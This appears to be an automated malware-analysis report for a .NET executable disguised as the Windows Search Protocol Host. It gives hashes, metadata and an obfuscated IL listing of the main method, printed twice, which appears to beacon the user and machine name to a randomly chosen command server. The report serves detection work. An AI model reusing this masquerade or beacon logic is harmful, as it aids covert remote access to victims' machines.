051581d9e5e738531c1f3ce60d1ee78f

PE Executable
|
MD5: 051581d9e5e738531c1f3ce60d1ee78f
|
Size: 514.46 KB
|
application/x-dosexec

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	051581d9e5e738531c1f3ce60d1ee78f
Sha1	30501d6039e29da7e118b1e3a0afc6019ea1533f
Sha256	541bf093716a9e6a32e0a630b2d4b6ce1608a62e88b77d114005eff27e3ddf16
Sha384	83d79a0a82a35d0a3e5c0b69d4a0ac7753da2f07768337a4536204c2bd8886d62e15ab5a450ff679a8e64b476e09d778
Sha512	bc5e549905637e1f51720e437cd705db88b52da7c692f4a85f6e12c7478257b39940d0a1afd18fa0222eacb2d8b7e93b4ef47cd89f59cf1b75a4e44afa909da3
SSDeep	6144:ukJiAShrr4Env0ShzWIRyB+ztg7MtH4+41szrqIcEK6dsQg6VYoZPePpbMWnMmD0:exrrl0wzWDuS7MN61szrqt6XJmRw
TLSH	FAB43A247F998A08E180257E454E1A09DBDED2F22132A343371AEF615D05DDEEE6C3DB

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Informations

Name0	Value
Module Name	Microsoft Windows Search Protocol Host
Full Name	Microsoft Windows Search Protocol Host
EntryPoint	System.Void nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::LwbEHwAtiDZypG(System.String[])
Scope Name	Microsoft Windows Search Protocol Host
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Microsoft Windows Search Protocol Host
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.7.2
Total Strings	523
Main Method	System.Void nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::LwbEHwAtiDZypG(System.String[])
Main IL Instruction Count	182
Main IL	call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::jUNSYFwNfKhrsytVrCbZagf() stloc V_3 br IL_003F: br IL_000E nop <null> ldloc V_3 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::QrdqjMkeVz() ceq <null> brfalse IL_0029: nop nop <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::aRasiolNbaqv() stloc V_3 nop <null> ldloc V_3 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::QHMDATQDoNChbGdTZ() ceq <null> brfalse IL_003F: br IL_000E br IL_0044: call System.Void EeTrlPjcUJ.AIzQJNjFWutbo::QOGogYJeUxBf() br IL_000E: nop call System.Void EeTrlPjcUJ.AIzQJNjFWutbo::QOGogYJeUxBf() call System.Void kvuJAEPVLLOsXMBDZvXp.sFtyRwxzfyKLli::LwwMNuUBxzK() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::OPMzpdFTGxOOuiaHcwVibkgGD call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::hCTSHQGXfneF() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_006C: ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::tXVreDBXcCNb call System.Void kvuJAEPVLLOsXMBDZvXp.TeITxmstkZUJKHYaBqwNcUW::XpEnwpiZVQIl() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::tXVreDBXcCNb call System.Boolean cbvyUgyQcSXP.DPXDcBtpRAxybsCAsxMgU::YfDuJpDNEqglyBjX(System.String) brtrue IL_0080: call System.Void cbvyUgyQcSXP.fOnJPooAKpbhAHPhl::iWCVLZuiesmjpJoZwpFL() leave IL_02AE: ret call System.Void cbvyUgyQcSXP.fOnJPooAKpbhAHPhl::iWCVLZuiesmjpJoZwpFL() call System.Void kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::WeOWnqpGqSIa() ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldfld System.Boolean kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::HyNJliJKlleNs brtrue IL_0299: call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::EjLvXPNFAVcrYtzt() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::xPeQUNzxwvAws call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::WtpTEQKskp() newarr System.Char dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::DZZvFabzhdBjGlE() call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::KGiHuCXUCjwDwtIia() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::lFsYripmbFjFPRomysRaFkJn ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::lncmWgBTsYUJihzrzlChY() newarr System.Char dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::CFsWdYDnVT() call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::WzQwYkCGaKyA() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::AODEtWgtLklXtACdQEDBBMh() ldelem.ref <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::vaBzbyrDEzVOUytzmOKP() newarr System.Char dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::ZejzcJFvzrogUJTUgSM() call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::hSueoISKDOmBSEVwRzyolIF() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::WyfBTYDDrTCts() ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldloc V_1 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::hhzpafGwyWxH() ldelem.ref <null> ldloc V_2 ldsfld System.Random kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::lFsYripmbFjFPRomysRaFkJn ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::rfOEQtnNLpSTqZv(System.String,System.String) ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldfld System.Boolean kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::HyNJliJKlleNs brfalse IL_0299: call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::EjLvXPNFAVcrYtzt() ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::FLTrvrlFmOQnWCgTXHYMm() newarr System.Object dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::GIcjYIpDvGOMMoexpQUCvSjBE() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::HyfchwrfgYtzVlIhthINIL() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::ZcaOZuxIFKOMTcPjTK() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::SjLJZZKbOEknfkErXOb() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) stelem.ref <null> call System.Byte[] EeTrlPjcUJ.fyyKIFMWDzCSPxVhqE::GPpJZzMDEvEXONycmdsy(System.Object[]) callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::wxyRsWASUVmR(System.Byte[]) ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa newobj System.Void ToHjNaUYfLQAECddW.euIdjlZvQhsnOnYkLTSPoVyqA::.ctor(kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog) stfld ToHjNaUYfLQAECddW.euIdjlZvQhsnOnYkLTSPoVyqA kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::sbDDYOrNQXdCjqqDveWE ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa newobj System.Void kvuJAEPVLLOsXMBDZvXp.nTCuHHnynpZdYlISClXHqov::.ctor(kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog) stfld kvuJAEPVLLOsXMBDZvXp.nTCuHHnynpZdYlISClXHqov kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::WmWHkRjLwPnQAlo ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::KpsoaSIskBnZafviM() newarr System.Object dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::ghTPEiUicwrmLzZctn() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::daTlexpmGV() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::oAwRCMGSlohYtCGndFv() call System.Byte[] kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::jarNoOpGWKg() stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::KUrpLAxqoAxlHCYcjQRCy() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::sTovUIdqVGucjwwZTxjR stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::iuvYxkFLwXyCVT() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::meevReUSZvxqcakFYUsfhCEia stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::GFBOQekqwQrd() call System.String System.Environment::get_UserName() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::gwUNsWnRFWxeulxdwoqlzgK() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::DMnsmulwumDNlcEamFg() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::gAgmOKQPMbUzvYxEOcztaQN stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::UdKPnimyEzH() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::RIffHceJYERb stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::GbHjjGQbhLM() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::TjoikxXaZdlAYMYeeQ stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::yBfBgPJLKYJaCYE() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::nCydKxcMZP stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::InsuewGJVUq() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::nYUFekHkxKbqHV stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::oEXIQqRmDkRoqwvhRgg() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::dEcvffXWPIgOoNWRqBNi stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::BMTuTSoBuVgMZ() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::QAONHQStsQAnybKcOGpMWCZs stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::WFBBKLGSAXWEEiBZsoo() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::shjQkZwVVNT stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::dclcpyCPriEEPMZpfPW() call System.String kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::IIabfQXZDqe() stelem.ref <null> call System.Byte[] EeTrlPjcUJ.fyyKIFMWDzCSPxVhqE::GPpJZzMDEvEXONycmdsy(System.Object[]) callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::wxyRsWASUVmR(System.Byte[]) call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::EjLvXPNFAVcrYtzt() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_008A: ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa pop <null> leave IL_02AE: ret ret <null>
Module Name	Microsoft Windows Search Protocol Host
Full Name	Microsoft Windows Search Protocol Host
EntryPoint	System.Void nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::LwbEHwAtiDZypG(System.String[])
Scope Name	Microsoft Windows Search Protocol Host
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Microsoft Windows Search Protocol Host
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.7.2
Total Strings	523
Main Method	System.Void nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::LwbEHwAtiDZypG(System.String[])
Main IL Instruction Count	182
Main IL	call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::jUNSYFwNfKhrsytVrCbZagf() stloc V_3 br IL_003F: br IL_000E nop <null> ldloc V_3 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::QrdqjMkeVz() ceq <null> brfalse IL_0029: nop nop <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::aRasiolNbaqv() stloc V_3 nop <null> ldloc V_3 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::QHMDATQDoNChbGdTZ() ceq <null> brfalse IL_003F: br IL_000E br IL_0044: call System.Void EeTrlPjcUJ.AIzQJNjFWutbo::QOGogYJeUxBf() br IL_000E: nop call System.Void EeTrlPjcUJ.AIzQJNjFWutbo::QOGogYJeUxBf() call System.Void kvuJAEPVLLOsXMBDZvXp.sFtyRwxzfyKLli::LwwMNuUBxzK() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::OPMzpdFTGxOOuiaHcwVibkgGD call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::hCTSHQGXfneF() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_006C: ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::tXVreDBXcCNb call System.Void kvuJAEPVLLOsXMBDZvXp.TeITxmstkZUJKHYaBqwNcUW::XpEnwpiZVQIl() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::tXVreDBXcCNb call System.Boolean cbvyUgyQcSXP.DPXDcBtpRAxybsCAsxMgU::YfDuJpDNEqglyBjX(System.String) brtrue IL_0080: call System.Void cbvyUgyQcSXP.fOnJPooAKpbhAHPhl::iWCVLZuiesmjpJoZwpFL() leave IL_02AE: ret call System.Void cbvyUgyQcSXP.fOnJPooAKpbhAHPhl::iWCVLZuiesmjpJoZwpFL() call System.Void kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::WeOWnqpGqSIa() ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldfld System.Boolean kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::HyNJliJKlleNs brtrue IL_0299: call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::EjLvXPNFAVcrYtzt() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::xPeQUNzxwvAws call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::WtpTEQKskp() newarr System.Char dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::DZZvFabzhdBjGlE() call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::KGiHuCXUCjwDwtIia() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::lFsYripmbFjFPRomysRaFkJn ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::lncmWgBTsYUJihzrzlChY() newarr System.Char dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::CFsWdYDnVT() call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::WzQwYkCGaKyA() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::AODEtWgtLklXtACdQEDBBMh() ldelem.ref <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::vaBzbyrDEzVOUytzmOKP() newarr System.Char dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::ZejzcJFvzrogUJTUgSM() call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::hSueoISKDOmBSEVwRzyolIF() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::WyfBTYDDrTCts() ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldloc V_1 call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::hhzpafGwyWxH() ldelem.ref <null> ldloc V_2 ldsfld System.Random kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::lFsYripmbFjFPRomysRaFkJn ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::rfOEQtnNLpSTqZv(System.String,System.String) ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldfld System.Boolean kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::HyNJliJKlleNs brfalse IL_0299: call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::EjLvXPNFAVcrYtzt() ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::FLTrvrlFmOQnWCgTXHYMm() newarr System.Object dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::GIcjYIpDvGOMMoexpQUCvSjBE() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::HyfchwrfgYtzVlIhthINIL() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::ZcaOZuxIFKOMTcPjTK() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::SjLJZZKbOEknfkErXOb() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) stelem.ref <null> call System.Byte[] EeTrlPjcUJ.fyyKIFMWDzCSPxVhqE::GPpJZzMDEvEXONycmdsy(System.Object[]) callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::wxyRsWASUVmR(System.Byte[]) ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa newobj System.Void ToHjNaUYfLQAECddW.euIdjlZvQhsnOnYkLTSPoVyqA::.ctor(kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog) stfld ToHjNaUYfLQAECddW.euIdjlZvQhsnOnYkLTSPoVyqA kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::sbDDYOrNQXdCjqqDveWE ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa newobj System.Void kvuJAEPVLLOsXMBDZvXp.nTCuHHnynpZdYlISClXHqov::.ctor(kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog) stfld kvuJAEPVLLOsXMBDZvXp.nTCuHHnynpZdYlISClXHqov kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::WmWHkRjLwPnQAlo ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::KpsoaSIskBnZafviM() newarr System.Object dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::ghTPEiUicwrmLzZctn() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::daTlexpmGV() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::oAwRCMGSlohYtCGndFv() call System.Byte[] kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::jarNoOpGWKg() stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::KUrpLAxqoAxlHCYcjQRCy() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::sTovUIdqVGucjwwZTxjR stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::iuvYxkFLwXyCVT() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::meevReUSZvxqcakFYUsfhCEia stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::GFBOQekqwQrd() call System.String System.Environment::get_UserName() call System.String hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::gwUNsWnRFWxeulxdwoqlzgK() call System.String cbvyUgyQcSXP.InYNGvUplTDlDAP::wvzVlaivOIFLJdpVycgdZSnBg(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::DMnsmulwumDNlcEamFg() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::gAgmOKQPMbUzvYxEOcztaQN stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::UdKPnimyEzH() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::RIffHceJYERb stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::GbHjjGQbhLM() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::TjoikxXaZdlAYMYeeQ stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::yBfBgPJLKYJaCYE() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::nCydKxcMZP stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::InsuewGJVUq() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::nYUFekHkxKbqHV stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::oEXIQqRmDkRoqwvhRgg() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::dEcvffXWPIgOoNWRqBNi stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::BMTuTSoBuVgMZ() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::QAONHQStsQAnybKcOGpMWCZs stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::WFBBKLGSAXWEEiBZsoo() ldsfld System.String EeTrlPjcUJ.AIzQJNjFWutbo::shjQkZwVVNT stelem.ref <null> dup <null> call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::dclcpyCPriEEPMZpfPW() call System.String kvuJAEPVLLOsXMBDZvXp.vWauJFBnVaNRbfmNlvAxiSPyN::IIabfQXZDqe() stelem.ref <null> call System.Byte[] EeTrlPjcUJ.fyyKIFMWDzCSPxVhqE::GPpJZzMDEvEXONycmdsy(System.Object[]) callvirt System.Void kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog::wxyRsWASUVmR(System.Byte[]) call System.Int32 hDhrQzbSXsIEOnzUTHW.YNnDApLzRLCGC::EjLvXPNFAVcrYtzt() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_008A: ldsfld kvuJAEPVLLOsXMBDZvXp.EjzUdaJgcHog nysNZNaVIOi.cIrEScNqXCRHnnUGoUVQ::jgIzIEPgiaa pop <null> leave IL_02AE: ret ret <null>

051581d9e5e738531c1f3ce60d1ee78f (514.46 KB)

051581d9e5e738531c1f3ce60d1ee78f

PE Executable | MD5: 051581d9e5e738531c1f3ce60d1ee78f | Size: 514.46 KB | application/x-dosexec

PE Executable
|
MD5: 051581d9e5e738531c1f3ce60d1ee78f
|
Size: 514.46 KB
|
application/x-dosexec